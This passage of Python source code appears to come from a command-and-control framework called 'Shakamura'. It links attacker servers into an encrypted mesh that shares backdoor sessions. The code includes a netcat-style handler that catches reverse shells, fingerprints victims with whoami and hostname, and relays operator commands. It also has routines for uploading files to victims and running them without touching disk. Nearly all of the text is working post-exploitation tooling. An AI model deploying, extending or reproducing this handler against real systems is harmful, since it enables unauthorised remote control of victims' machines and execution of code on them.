Sessions_Manager.active_sessions.keys(): key = list(decrypted_data[1][session_id].keys())[0] new_val = decrypted_data[1][session_id][key] Sessions_Manager.active_sessions[session_id][key] = new_val Core_Server.send_msg(conn, self.response_ack(sibling_id)) elif decrypted_data[0] == 'upload_file': File_Smuggler.upload_file(decrypted_data[1][0], decrypted_data[1][1], decrypted_data[1][2], issuer = sibling_id) Core_Server.send_msg(conn, self.response_ack(sibling_id)) Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell else Shakamura.set_shell_prompt_ready() elif decrypted_data[0] == 'exec_file': File_Smuggler.fileless_exec(decrypted_data[1][0], decrypted_data[1][1], issuer = sibling_id) Core_Server.send_msg(conn, self.response_ack(sibling_id)) Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell else Shakamura.set_shell_prompt_ready() elif decrypted_data[0] == 'global_chat': hostname = self.sibling_servers[sibling_id]['Hostname'] print_to_prompt(f'\r[{CHAT}] {BOLD}{hostname}{END} says: {ORANGE}{decrypted_data[1]}{END}') Core_Server.send_msg(conn, self.response_ack(sibling_id)) elif decrypted_data[0] == 'new_session': new_session_id = decrypted_data[1]['session_id'] decrypted_data[1].pop('session_id', None) Sessions_Manager.active_sessions[new_session_id] = decrypted_data[1] print_to_prompt(f'\r[{GREEN}Shell{END}] Backdoor session established on {ORANGE}{Sessions_Manager.active_sessions[new_session_id]["IP Address"]}{END} (Owned by {ORANGE}{self.sibling_servers[sibling_id]["Hostname"]}{END})') del decrypted_data, new_session_id Core_Server.send_msg(conn, self.response_ack(sibling_id)) elif decrypted_data[0] == 'shell_session_status_update': session_id = decrypted_data[1]['session_id'] Sessions_Manager.active_sessions[session_id]['Status'] = decrypted_data[1]['Status'] Core_Server.send_msg(conn, self.response_ack(sibling_id)) if decrypted_data[1]['Status'] == 'Active': status = f'{GREEN}Active{END}' elif decrypted_data[1]['Status'] == 'Lost': status = f'{LRED}Lost{END}' else: status = f'{ORANGE}Undefined{END}' print(f'\r[{INFO}] Backdoor session {ORANGE}{session_id}{END} status changed to {status}.') Core_Server.restore_prompt_after_lost_conn(decrypted_data[1]['session_id']) del session_id, status elif decrypted_data[0] == 'session_terminated': victim_ip = Sessions_Manager.active_sessions[decrypted_data[1]['session_id']]['IP Address'] Sessions_Manager.active_sessions.pop(decrypted_data[1]['session_id'], None) print(f'\r[{INFO}] Backdoor session on {ORANGE}{victim_ip}{END} (Owned by {ORANGE}{self.sibling_servers[sibling_id]["Hostname"]}{END}) terminated.') if Shakamura.active_shell == decrypted_data[1]['session_id']: Shakamura.deactivate_shell() del victim_ip Main_prompt.rst_prompt() if not Shakamura.active_shell else Shakamura.rst_shell_prompt() Core_Server.send_msg(conn, self.response_ack(sibling_id)) elif decrypted_data[0] == 'server_shutdown': server_ip = self.sibling_servers[decrypted_data[1]['sibling_id']]['Server IP'] hostname = self.sibling_servers[decrypted_data[1]['sibling_id']]['Hostname'] self.sibling_servers.pop(decrypted_data[1]['sibling_id'], None) # Remove sessions associated with sibling server active_sessions_clone = deepcopy(Sessions_Manager.active_sessions) active_sessions = active_sessions_clone.keys() lost_sessions = 0 if active_sessions: for session_id in active_sessions: try: if Sessions_Manager.active_sessions[session_id]['Owner'] == decrypted_data[1]['sibling_id']: del Sessions_Manager.active_sessions[session_id] lost_sessions += 1 except: continue print(f'\r[{WARN}] Sibling server {ORANGE}{server_ip}{END} (hostname: {ORANGE}{hostname}{END}) disconnected.') print(f'\r[{WARN}] {lost_sessions} x backdoor sessions lost.') if lost_sessions else chill() restore_prompt() del server_ip, hostname, active_sessions_clone, active_sessions Core_Server.send_msg(conn, self.response_ack(sibling_id)) elif decrypted_data[0] == 'are_you_alive': Core_Server.send_msg(conn, self.response_ack(sibling_id)) rst_prompt = False else: pass else: conn.close() except KeyboardInterrupt: pass except: print(f'\r[{WARN}] failed to process a request. ') rst_prompt = True conn.close() if rst_prompt: Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell \ else Shakamura.set_shell_prompt_ready() del raw_data, str_data Threading_params.thread_limiter.release() return @staticmethod def recv_msg(sock): raw_msglen = Core_Server.recvall(sock, 4) if not raw_msglen: return None msglen = struct.unpack('>I', raw_msglen)[0] return Core_Server.recvall(sock, msglen) @staticmethod def recvall(sock, n): data = bytearray() while len(data) < n: packet = sock.recv(n - len(data)) if not packet: return None data.extend(packet) return data @staticmethod def send_msg(sock, msg): msg = struct.pack('>I', len(msg)) + msg sock.sendall(msg) @staticmethod def restore_prompt_after_lost_conn(session_id): if Shakamura.active_shell == session_id: Shakamura.deactivate_shell() Main_prompt.rst_prompt() if not Shakamura.active_shell else Shakamura.rst_shell_prompt() def initiate(self): try: server_socket = socket.socket() server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((Core_Server_Settings.bind_address, Core_Server_Settings.bind_port)) except OSError: self.core_initialized = False exit_with_msg(f'{self.server_name} failed to start. Port {Core_Server_Settings.bind_port} seems to be already in use.\n') except: self.core_initialized = False exit_with_msg(f'{self.server_name} failed to start (Unknown error occurred).\n') self.core_initialized = True registered_services.append({ 'service' : self.server_name, 'socket' : f'{ORANGE}{Core_Server_Settings.bind_address}{END}:{RED}{Core_Server_Settings.bind_port}{END}' }) print(f'\r[{ORANGE}{Core_Server_Settings.bind_address}{END}:{RED}{Core_Server_Settings.bind_port}{END}]::{self.server_name}') # Start listening for connections server_socket.listen() while self.listen: conn, address = server_socket.accept() Thread(target = self.sock_handler, args = (conn, address), name = f'sock_conn_{address[0]}').start() conn.close() def response_ack(self, sibling_id): response_ack = str(self.encapsulate_dict({0 : 0}, 'ACKNOWLEDGED')) response_ack_encypted = encrypt_msg(self.SERVER_UNIQUE_ID.encode('utf-8'), response_ack, sibling_id[0:16].encode('utf-8')) return response_ack_encypted def decrypt_encapsulated_msg(self, sibling_id, raw_data): decrypted_data = decrypt_msg(sibling_id.encode('utf-8'), raw_data, self.SERVER_UNIQUE_ID[0:16].encode('utf-8')) decapsulated = self.decapsulate_dict(decrypted_data) # returns [capsule, received_data] return decapsulated def stop_listener(self): self.listen = False def list_siblings(self): if self.sibling_servers.keys(): print('\r') table = self.siblings_dict_to_list() print_table(table, ['Sibling ID', 'Server IP', 'Server Port', 'Hostname', 'Status']) print('\r') else: print(f'Not connected with other servers.') @staticmethod def send_receive_one(msg, server_ip, server_port, encode_msg, timeout = 30): try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket: client_socket.settimeout(timeout) client_socket.connect((str(server_ip), int(server_port))) msg = msg.encode('utf-8') if encode_msg else msg Core_Server.send_msg(client_socket, msg) response_raw = Core_Server.recv_msg(client_socket) client_socket.close() return response_raw except ConnectionRefusedError: return 'connection_refused' except ConnectionResetError: return 'connection_reset' except OSError: return 'no_route_to_host' except socket.timeout: return 'timed_out' except: return 'unknown_error' @staticmethod def encapsulate_dict(data, encapsulate_as): encapsulated = {} encapsulated[encapsulate_as] = data return encapsulated @staticmethod def decapsulate_dict(data, request = 'NoCapsule'): try: dict_data = literal_eval(data) capsule = list(dict_data.keys())[0] received_data = dict_data[capsule] return [capsule, received_data] except: return 'failed_to_read' @staticmethod def announce_new_session(new_session_data_dict): siblings = clone_dict_keys(Core_Server.sibling_servers) if siblings: for sibling_id in siblings: Core_Server.send_receive_one_encrypted(sibling_id, new_session_data_dict, 'new_session') del siblings @staticmethod def announce_shell_session_stat_update(new_session_data_dict): siblings = clone_dict_keys(Core_Server.sibling_servers) if siblings: for sibling_id in siblings: Core_Server.send_receive_one_encrypted(sibling_id, new_session_data_dict, 'shell_session_status_update') del siblings @staticmethod def announce_session_termination(terminated_session_data_dict): siblings = clone_dict_keys(Core_Server.sibling_servers) if siblings: for sibling_id in siblings: Core_Server.send_receive_one_encrypted(sibling_id, terminated_session_data_dict, 'session_terminated') del siblings @staticmethod def announce_server_shutdown(): siblings = Core_Server.sibling_servers.keys() if len(siblings): for sibling_id in siblings: Core_Server.send_receive_one_encrypted(sibling_id, {'sibling_id' : Core_Server.SERVER_UNIQUE_ID}, 'server_shutdown') def update_siblings_data_table(self, siblings_data): current_siblings = self.sibling_servers.keys() additional_siblings = 0 for sibling_id in siblings_data.keys(): if (sibling_id not in current_siblings) and (sibling_id != self.SERVER_UNIQUE_ID): self.sibling_servers[sibling_id] = siblings_data[sibling_id] additional_siblings += 1 if additional_siblings: print_to_prompt(f'\r[{INFO}] {additional_siblings} x additional sibling server connections established!') def update_shell_sessions(self, shells_data): current_shells = clone_dict_keys(Sessions_Manager.active_sessions) additional_shells = 0 if isinstance(shells_data, dict): for session_id in shells_data.keys(): if (session_id not in current_shells) and shells_data[session_id]['Owner'] != Shakamura.server_unique_id: shells_data[session_id]['alias'] = None shells_data[session_id]['aliased'] = False shells_data[session_id]['self_owned'] = False Sessions_Manager.active_sessions[session_id] = shells_data[session_id] additional_shells += 1 if additional_shells: print_to_prompt(f'\r[{INFO}] {additional_shells} x additional shell sessions established!') def server_is_sibling(self, server_ip, server_port = False): sibling_id = None siblings = clone_dict_keys(self.sibling_servers) for sibling in siblings: if server_port: if self.sibling_servers[sibling]['Server IP'] == server_ip and \ self.sibling_servers[sibling]['Server Port'] == int(server_port): sibling_id = sibling break else: if self.sibling_servers[sibling]['Server IP'] == server_ip: sibling_id = sibling break return sibling_id @staticmethod def send_receive_one_encrypted(sibling_id, data_dict, capsule, timeout = 10): # AES KEY is the server's ID and IV is the 16 first bytes of the sibling's ID server_unique_id = Core_Server.return_server_uniq_id() encapsulated_data = str(Core_Server.encapsulate_dict(data_dict, capsule)) encapsulated_data_encrypted = encrypt_msg(server_unique_id.encode('utf-8'), encapsulated_data, sibling_id[0:16].encode('utf-8')) # Prepare to send msg server_ip = Core_Server.sibling_servers[sibling_id]['Server IP'] server_port = Core_Server.sibling_servers[sibling_id]['Server Port'] encapsulated_response_data_encrypted = Core_Server.send_receive_one(encapsulated_data_encrypted, server_ip, server_port, encode_msg = False, timeout = timeout) if encapsulated_response_data_encrypted not in ['connection_refused', 'timed_out', 'connection_reset', 'no_route_to_host', 'unknown_error']: encapsulated_response_data_decrypted = decrypt_msg(sibling_id.encode('utf-8'), encapsulated_response_data_encrypted, server_unique_id[0:16].encode('utf-8')) decapsulated_response_data = Core_Server.decapsulate_dict(encapsulated_response_data_decrypted, capsule) # returns [capsule, received_data] return decapsulated_response_data else: return encapsulated_response_data_encrypted @staticmethod def broadcast(data, capsule): sibling_servers = clone_dict_keys(Core_Server.sibling_servers) for sibling_id in sibling_servers: Core_Server.send_receive_one_encrypted(sibling_id, data, capsule) def is_shell_session_occupied(self, session_id): sibling_servers = clone_dict_keys(self.sibling_servers) for sibling_id in sibling_servers: active_shell = Core_Server.send_receive_one_encrypted(sibling_id, self.sibling_servers, 'active_shell_query') if active_shell[1] == session_id: return True return False @staticmethod def request_prompt_value(session_id): try: session_owner_id = Sessions_Manager.return_session_attr_value(session_id, 'Owner') prompt_value = Core_Server.send_receive_one_encrypted(session_owner_id, session_id, 'prompt_value_query') return prompt_value except: return None def synchronize_sibling_servers(self, initiator): print(f'\r[{INFO}] Synchronizing servers...') sibling_servers = clone_dict_keys(self.sibling_servers) for sibling_id in sibling_servers: remote_siblings_data = Core_Server.send_receive_one_encrypted(sibling_id, self.sibling_servers, 'synchronize_sibling_servers_table') if isinstance(remote_siblings_data[1], dict): self.update_siblings_data_table(remote_siblings_data[1]) # Sync sibling servers shell sessions remote_shells = Core_Server.send_receive_one_encrypted(sibling_id, Sessions_Manager.active_sessions, 'synchronize_sibling_servers_shells') self.update_shell_sessions(remote_shells[1]) if not self.ping_sibling_servers: siblings_status_monitor = Thread(target = self.ping_siblings, args = (), name = 'sibling_servers_state_monitor') siblings_status_monitor.daemon = True siblings_status_monitor.start() print(f'\r[{INFO}] Synchronized!') if initiator: Main_prompt.set_main_prompt_ready() else: Main_prompt.rst_prompt() if not Shakamura.active_shell else Shakamura.rst_shell_prompt() def connect_with_sibling_server(self, server_ip, server_port): try: server_port = int(server_port) except ValueError: print('Port must be of type Int.') return authorized = True if not is_valid_ip(server_ip): print('\rProvided IP address is not valid.') authorized = False if server_port < 0 or server_port > 65535: print('\rPort must be 0-65535.') authorized = False # Check if attempt to connect to self if (server_port == Core_Server_Settings.bind_port) and (server_ip in ['127.0.0.1', 'localhost']): print('\rIf you really want to connect with yourself, try yoga.') authorized = False # Check if server_ip already in siblings server_is_sibling = self.server_is_sibling(server_ip, server_port) if server_is_sibling: print('\rYou are already connected with this server.') authorized = False # Init connect if authorized: print(f'[{INFO}] Sending request to connect...') response = self.send_receive_one(self.CONNECT_SYN, server_ip, server_port, encode_msg = False, timeout = 11) if response in ['connection_refused', 'timed_out', 'connection_reset', 'no_route_to_host', 'unknown_error']: return print(f'\r[{ERR}] Request to connect failed ({response}).') elif response == self.CONNECT_ACK: response = self.send_receive_one(f'{self.SERVER_UNIQUE_ID}:{Core_Server_Settings.bind_port}:{self.HOSTNAME}', server_ip, server_port, encode_msg = True) tmp = response.decode('utf-8', 'ignore').split(':') sibling_id = tmp[0] sibling_hostname = tmp[1] if is_valid_uuid(sibling_id): self.sibling_servers[sibling_id] = {'Hostname': sibling_hostname, 'Server IP' : server_ip, 'Server Port' : server_port, 'Status' : 'Active'} else: print(f'\r[{ERR}] Request to connect failed.') return print(f'\r[{INFO}] Connection established!\r') self.synchronize_sibling_servers(initiator = True) elif response == self.CONNECT_DENY: print(f'\r[{ERR}] Request to connect denied.') @staticmethod def proxy_cmd_for_exec_by_sibling(sibling_id, session_id, command): # Check again if server in siblings if sibling_id not in Core_Server.sibling_servers.keys(): print(f'\r[{ERR}] Failed to proxy the command. Connection with the sibling server may be lost.') Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell else Shakamura.set_shell_prompt_ready() return if not isinstance(command, dict): # Append sibling signature to cmd command = command + Exec_Utils.get_sibling_signature(session_id) # Send command to sibling cmd_exec_data = {'session_id' : session_id, 'command' : command} response = Core_Server.send_receive_one_encrypted(sibling_id, cmd_exec_data, 'exec_command', Core_Server_Settings.timeout_for_command_output) # Read response # if response[0] == 'ACKNOWLEDGED': # print(f'[{INFO}] Command delivered. Awaiting output...', end = '') def ping_siblings(self): Threading_params.thread_limiter.acquire() self.ping_sibling_servers = True while True: siblings = clone_dict_keys(self.sibling_servers) if not siblings: sleep(Core_Server_Settings.ping_siblings_sleep_time) else: for sibling_id in siblings: try: response = Core_Server.send_receive_one_encrypted(sibling_id, {0 : 0}, 'are_you_alive', 4) if response in ['connection_refused', 'timed_out', 'connection_reset', 'no_route_to_host', 'unknown_error']: # Check if active shell against a session that belongs to the lost sibling if Shakamura.active_shell in Sessions_Manager.active_sessions.keys(): if Sessions_Manager.active_sessions[Shakamura.active_shell]['Owner'] == sibling_id: Shakamura.deactivate_shell() self.remove_all_sessions(sibling_id) server_ip = self.sibling_servers[sibling_id]["Server IP"] del self.sibling_servers[sibling_id] print_to_prompt(f'\r[{WARN}] Connection with sibling server {ORANGE}{server_ip}{END} lost.') except: continue sleep(Core_Server_Settings.ping_siblings_sleep_time) def remove_all_sessions(self, sibling_id): active_sessions = clone_dict_keys(Sessions_Manager.active_sessions) for session_id in active_sessions: if Sessions_Manager.active_sessions[session_id]['Owner'] == sibling_id: del Sessions_Manager.active_sessions[session_id] def siblings_dict_to_list(self): siblings_list = [] corrupted = 0 siblings_clone = deepcopy(self.sibling_servers) for sibling_id in siblings_clone.keys(): try: tmp = siblings_clone[sibling_id] tmp['Sibling ID'] = sibling_id siblings_list.append(tmp) except KeyError: corrupted += 1 if corrupted: print(f'\r[{WARN}] {corrupted} x Corrupted sibling server data entries omitted.') print(f'[{WARN}] Possible reason: Sibling server disconnected inelegantly.\n') del siblings_clone, tmp return siblings_list class TCP_Sock_Multi_Handler: server_name = f'-[{GREEN} Netcat TCP Multi-Handler{END} ]-' listen = True listener_initialized = None prompt_regex_identifiers = { 'windows' : { 'powershell.exe' : re.compile(r'PS [A-Za-z]:\\[^\n\r]*> '), 'cmd.exe' : re.compile(r'[A-Za-z]:\\[^\n\r]*>') }, 'unix' : { 'unix' : re.compile(r'[a-z_][a-z0-9_-]*[$]?[@#$][^\s@#$]+:[^\n]*[$#]\s?'), # bash 'unix' : re.compile(r'[#\$]\s$'), # sh 'shell' : re.compile(r'shell>$') # Because some well-known reverse shell commands use it }, # It's separated on purpose because #@!$^%# 'zsh' : re.compile(r'[a-z_][a-z0-9_-]*[$]?㉿[a-zA-Z_][a-zA-Z0-9_-]{0,31}') } def initiate_nc_listener(self): try: nc_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) nc_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) nc_server.bind((TCP_Sock_Handler_Settings.bind_address, TCP_Sock_Handler_Settings.bind_port)) except OSError: self.listener_initialized = False exit_with_msg(f'{self.server_name} failed to start. Port {TCP_Sock_Handler_Settings.bind_port} seems to be already in use.\n') except: self.listener_initialized = False exit_with_msg(f'{self.server_name} failed to start (Unknown error occurred).\n') self.listener_initialized = True registered_services.append({ 'service' : self.server_name, 'socket' : f'{ORANGE}{TCP_Sock_Handler_Settings.bind_address}{END}:{RED}{TCP_Sock_Handler_Settings.bind_port}{END}' }) print(f'\r[{ORANGE}{TCP_Sock_Handler_Settings.bind_address}{END}:{RED}{TCP_Sock_Handler_Settings.bind_port}{END}]::{self.server_name}') # Start listening for connections nc_server.listen() while self.listen: conn, address = nc_server.accept() iface = conn.getsockname()[0] socket_server = Thread(target = self.nc_shell_handler, args = (conn, address, iface), name = f'tcp_socket_shell_{address[0]}').start() sleep(0.1) def nc_shell_handler(self, conn, address, iface): Threading_params.thread_limiter.acquire() try: timestamp = int(datetime.now().timestamp()) # Create session unique id session_id = f'{uuid4().hex[0:6]}-{uuid4().hex[0:6]}-{uuid4().hex[0:6]}' # Identify the OS, Hostname and User win_cmd = False cmd_echo = False hostname_undefined = False powershell = False ps_try_msg_detected = False ansi_detected = False username = '' ident_stat = True broken_pipe = 0 init_response = [] while not re.search('[a-zA-Z]', username): try: whoami = conn.sendall('{}\n'.format('whoami').encode('utf-8')) res = self.recv_timeout(conn, quiet = True) username = self.dehash_prompt(self.clean_nc_response(res)) if username.count('㉿'): username = self.get_uname_from_zsh_response(username) init_response.append(res) # Check if powershell.exe powershell = True if re.search('Windows PowerShell', username) else False ps_try_msg_detected = True if re.search('Try the new cross-platform PowerShell', username) else False if powershell or ps_try_msg_detected: #or (re.search('whoami', username)): while not re.search('[a-zA-Z]>', username): whoami = conn.sendall('{}\n'.format('whoami').encode('utf-8')) res = self.recv_timeout(conn, quiet = True) username = self.dehash_prompt(self.clean_nc_response(res)).replace('whoami', '').strip() init_response.append(res) if username and username != 'whoami': break except BrokenPipeError: if broken_pipe <= 1: broken_pipe += 1 continue else: ident_stat = 'BrokenPipeError' break if username in ['ConnectionResetError']: ident_stat = 'ConnectionResetError' if isinstance(ident_stat, str): conn.close() print_to_prompt(f'\r[{ERR}] Failed to establish a backdoor session: {ident_stat}.') Threading_params.thread_limiter.release() return # Check if cmd.exe if re.search('Microsoft Corporation', username) and not powershell: win_cmd = True username = username.rsplit('\n', 1)[-1] elif re.search('whoami', username) and (len(username.split('\n')) > 1): cmd_echo = True # Check if response includes ANSI sequences (bash / zsh) if not win_cmd: if username.count('[') and username.count(';') and re.search('[0-9]', username): username = strip_ansi_codes(username) ansi_detected = True username = username.split('\n')[-1] username = self.remove_non_print(username) if powershell or ps_try_msg_detected: username = username.split('>', 1)[-1] if not ansi_detected: username = username.split('\n')[0] if not cmd_echo else username.split('\n', 1)[1] os_type = 'Windows' if (username.count('\\') and not ansi_detected) or (powershell or win_cmd) else 'Linux' # Characterize shell type if os_type == 'Windows' and win_cmd: shell = 'cmd.exe' elif (os_type == 'Windows' and not win_cmd) or powershell: shell = 'powershell.exe' else: shell = 'unix' if os_type == 'Linux': username = username.replace('shell>', '') conn.sendall('{}\n'.format('echo "***$(hostname)***"').encode('utf-8')) # get hostname value response = self.recv_timeout(conn, quiet = True) response = self.remove_non_print(self.clean_nc_response(response)) # Remove command echo if detected response = response.split('***$(hostname)***')[-1] if re.search(re.escape('***$(hostname)***'), response) else response try: hostname = response.split('***')[1] except: hostname_undefined = True hostname = 'Undefined' else: tmp = username.split('\\') hostname = tmp[0].upper() if powershell or ps_try_msg_detected: try: username = tmp[1].split('PS ')[0] except: username = tmp[1] else: username = tmp[1] # Check if connection is a random socket by assessing the hostname value received. # This filter protects against junk sessions. if TCP_Sock_Handler_Settings.hostname_filter: if not self.validate_hostname(hostname) or hostname == 'Undefined': conn.close() if not TCP_Sock_Handler_Settings.hostname_filter_warning_delivered: print_to_prompt(f'\r[{WARN}] A TCP reverse connection was rejected due to hostname validation failure. You can disable this filter by setting hostname_filter to False in Shakamura/Core/settings.py. This warning will be muted for the rest of the session.') TCP_Sock_Handler_Settings.hostname_filter_warning_delivered = True Threading_params.thread_limiter.release() return # Detect shell prompt and set it as sentinel value prompt = False delimiter = uuid4().hex conn.sendall('{}\n'.format(f'echo {delimiter}').encode('utf-8')) res = self.recv_timeout(conn, quiet = True) try: # Set the prompt value, if present in response data_list = res.split(delimiter) prompt = data_list[-1] if data_list[-1].strip() else False except: # Continue with prompt value set to False pass # Create session object Sessions_Manager.active_sessions[session_id] = { 'IP Address' : address[0], 'Port' : address[1], 'execution_verified' : False, 'Status' : 'Active', 'last_received' : timestamp, 'OS Type' : os_type, 'frequency' : 1, 'Owner' : Shakamura.server_unique_id, 'self_owned' : True, 'aliased' : False, 'alias' : None, 'execution_verified' : True, 'Computername' : hostname.strip(' \n\r'), 'Username' : username.strip(' \n\r'), 'Listener' : 'netcat', 'Shell' : shell, 'iface' : iface, 'prompt' : prompt, 'Stability' : 'Stable' if prompt else 'Unstable' } Sessions_Manager.legit_session_ids[session_id] = { 'OS Type' : os_type, 'constraint_mode' : False, 'frequency' : 1, 'exec_outfile' : False } Shakamura.command_pool[session_id] = [] print_to_prompt(f'\r[{GREEN}Shell{END}] Backdoor session established on {ORANGE}{address[0]}{END}') print_to_prompt(f'\r[{WARN}] Failed to resolve hostname. Use "repair" to declare it manually.') if hostname_undefined else chill() new_session_data = deepcopy(Sessions_Manager.active_sessions[session_id]) new_session_data['session_id'] = session_id new_session_data['self_owned'] = False Core_Server.announce_new_session(new_session_data) del new_session_data sessions = None # Start connection state monitor Thread(target = self.is_still_connected, args = (session_id, conn), name = f'session_state_monitor_{address[0]}').start() except Exception as e: conn.close() print_to_prompt(f'\r[{ERR}] Failed to establish a backdoor session: {e}.') if session_id not in Sessions_Manager.sessions_graveyard \ else chill() Threading_params.thread_limiter.release() return ''' NC shell commands handler ''' while True: if sessions: del sessions sessions = clone_dict_keys(Sessions_Manager.active_sessions) shakamura_issued_cmd = False if session_id in sessions: if Shakamura.command_pool[session_id]: cmd = Shakamura.command_pool[session_id].pop(0) issuer, sibling_signature, quiet = 'self', False, False shell = Sessions_Manager.active_sessions[session_id]['Shell'] prompt = Sessions_Manager.active_sessions[session_id]['prompt'] # Check command type: # type str = Normal command # type dict = Command issued by Shakamura's Utilities if isinstance(cmd, dict): shakamura_issued_cmd = True issuer = cmd['issuer'] quiet = cmd['quiet'] cmd = cmd['data'] else: # Search for sibling server signature in cmd sibling_signature = self.search_cmd_for_signature(cmd) if sibling_signature: issuer = sibling_signature joint = self.get_cmd_joint(session_id) cmd = cmd.replace(f'{joint}echo ' + '\'{' + sibling_signature + '}\'', '') quiet = True ''' Append auxiliary commands ''' # If the session is powershell.exe, wrap the command in a try - catch block # to ensure stderror will be delivered if not shakamura_issued_cmd and shell == 'powershell.exe': cmd = Exec_Utils.ps_try_catch_wrapper(cmd) # Force sentinel value for unstable shells if not prompt: if shell == 'unix': cmd = Exec_Utils.unix_force_sentinel_value(cmd) else: cmd = Exec_Utils.windows_force_sentinel_value(cmd, shell) try: # Check if socket still alive if self.is_socket_closed(conn): raise ConnectionResetError conn.sendall('{}\n'.format(cmd).encode('utf-8')) if session_id in Sessions_Manager.sessions_graveyard and \ session_id not in Sessions_Manager.active_sessions.keys(): break # Read response response = self.recv_timeout(conn, shell_type = shell, user_issued_cmd = cmd, quiet = quiet, issuer = issuer, \ session_id = session_id, prompt = prompt, timeout = TCP_Sock_Handler_Settings.recv_timeout if prompt else 12) except: Sessions_Manager.active_sessions[session_id]['Status'] = 'Lost' status = f'{LRED}Lost{END}' Core_Server.announce_shell_session_stat_update({'session_id' : session_id, 'Status' : Sessions_Manager.active_sessions[session_id]['Status']}) print(f'\r[{INFO}] Connection with backdoor session {ORANGE}{session_id}{END} seems to be {status}.') if session_id not in Sessions_Manager.sessions_graveyard \ else chill() Core_Server.restore_prompt_after_lost_conn(session_id) return if session_id in Sessions_Manager.active_sessions.keys(): if Sessions_Manager.active_sessions[session_id]['Status'] != 'Active': Sessions_Manager.active_sessions[session_id]['Status'] = 'Active' Core_Server.announce_shell_session_stat_update({'session_id' : session_id, 'Status' : Sessions_Manager.active_sessions[session_id]['Status']}) print(f'\r[{INFO}] Connection with backdoor session {ORANGE}{session_id}{END} restored!') Core_Server.restore_prompt_after_lost_conn(session_id) del cmd #Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell else Shakamura.set_shell_prompt_ready() else: sleep(0.25) else: break conn.close() Threading_params.thread_limiter.release() return def recv_timeout(self, sock, prompt = False, shell_type = False, \ quiet = False, timeout = TCP_Sock_Handler_Settings.recv_timeout, session_id = False, \ exec_timeout = TCP_Sock_Handler_Settings.await_execution_timeout, \ user_issued_cmd = False, issuer = 'self'): sock.setblocking(0) response = [] data = '' begin = time() echoed_out = False total_packets = 0 while True: #if ((not shell_type or not prompt) and (response and (time() - begin) > timeout)): if ((not shell_type) and (response and (time() - begin) > timeout)): Core_Server.send_receive_one_encrypted(issuer, ['', None, session_id, True], 'command_output', 30) if issuer != 'self' else chill() #quiet = True break if (time() - (begin + exec_timeout) > timeout): Core_Server.send_receive_one_encrypted(issuer, ['', None, session_id, True], 'command_output', 30) if issuer != 'self' else chill() quiet = True break try: # Receive response data chunk data = sock.recv(TCP_Sock_Handler_Settings.recv_timeout_buffer_size) # print(f'{total_packets} {repr(data)}') if data: chunk = data.decode('utf-8', 'ignore') total_packets += 1 begin = time() # Strip command echo from response if user_issued_cmd and not echoed_out: if total_packets < 4 and re.match('^' + re.escape(user_issued_cmd), chunk): #if total_packets < 4 and re.match(re.escape(user_issued_cmd), ''.join(response)): echoed_out = True chunk = chunk.replace(user_issued_cmd, '').lstrip('\n\r') # If a shell type is parsed AND prompt value was detected in response when the session was established, # try to identify the shell prompt and use it as sentinel value to stop recv() if shell_type: #and prompt: if prompt: # The following func searches for a sentinel value in the chunk. If detected, # it seperates the last chunk's data and the prompt value and returns: # [True, [chunk, prompt_value], shell_type] else it returns [False] sentinel_value = self.search_chunk_for_sentinel_value(shell_type, chunk) elif not prompt: sentinel_value = [True] if re.search(Exec_Utils.sentinel_value, chunk) else [False] else: sentinel_value = [False] if sentinel_value[0]: if prompt: chunk = '' if not sentinel_value[1][0].strip() else sentinel_value[1][0].rstrip() + '\r' prompt_value = sentinel_value[1][1].lstrip() if Shakamura.active_shell: Shakamura.afric_prompt = prompt_value if session_id: # Sessions_Manager.active_sessions[session_id].update({'prompt' : prompt_value, 'Shell' : sentinel_value[2]}) # Update prompt value Sessions_Manager.active_sessions[session_id]['prompt'] = prompt_value # If windows, update shell type (will be applied for linux too, someday..) if sentinel_value[2] in ['powershell.exe', 'cmd.exe']: Sessions_Manager.active_sessions[session_id]['Shell'] = sentinel_value[2] else: chunk = chunk.replace(Exec_Utils.sentinel_value, '') if issuer == 'self': print(chunk if shell_type == 'unix' else f'{GREEN}{chunk}{END}', end = '') if not quiet else chill() response.append(chunk) else: Core_Server.send_receive_one_encrypted(issuer, [chunk, prompt_value, session_id, True], 'command_output', 30) if prompt \ else Core_Server.send_receive_one_encrypted(issuer, [chunk, None, session_id, True], 'command_output', 30) break if issuer == 'self': print(chunk if shell_type == 'unix' else f'{GREEN}{chunk}{END}', end = '') if not quiet else chill() response.append(chunk) else: Core_Server.send_receive_one_encrypted(issuer, [chunk, None, session_id, False], 'command_output', 30) timeout = 0.3 sleep(0.15) else: sleep(0.15) except ConnectionResetError: print_to_prompt(f'\r[{ERR}] Failed to establish a backdoor session: Connection reset by peer.') if session_id not in Sessions_Manager.sessions_graveyard \ else chill() return 'ConnectionResetError' except BlockingIOError: pass except: pass response = ''.join(response) print('\n') if (not quiet and response.strip()) else chill() if issuer == 'self' and not quiet: Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell else Shakamura.set_shell_prompt_ready() return self.clean_nc_response(response) if shell_type else response def validate_hostname(self, hostname): if len(hostname) > 255: return False if hostname[-1] == ".": hostname = hostname[:-1] allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?<!-)$", re.IGNORECASE) return all(allowed.match(x) for x in hostname.split(".")) def dehash_prompt(self, response): if isinstance(response, str): response = response.replace('#', '') response = response.replace('$', '') response = response.strip(' \n\r') return response else: return str(response) def clean_nc_response(self, response): response = response.rsplit('\n', 1)[0] return response def is_still_connected(self, session_id, conn): Threading_params.thread_limiter.acquire() while True: if session_id in Sessions_Manager.sessions_graveyard: break current_status = Sessions_Manager.active_sessions[session_id]['Status'] connection_lost = self.is_socket_closed(conn) if connection_lost: if current_status == 'Active' and session_id not in Sessions_Manager.sessions_graveyard: Sessions_Manager.active_sessions[session_id]['Status'] = 'Lost' status = f'{LRED}Lost{END}' Core_Server.announce_shell_session_stat_update({'session_id' : session_id, 'Status' : Sessions_Manager.active_sessions[session_id]['Status']}) print(f'\r[{INFO}] Connection with backdoor session {ORANGE}{session_id}{END} seems to be {status}.') Core_Server.restore_prompt_after_lost_conn(session_id) break else: if current_status != 'Active': 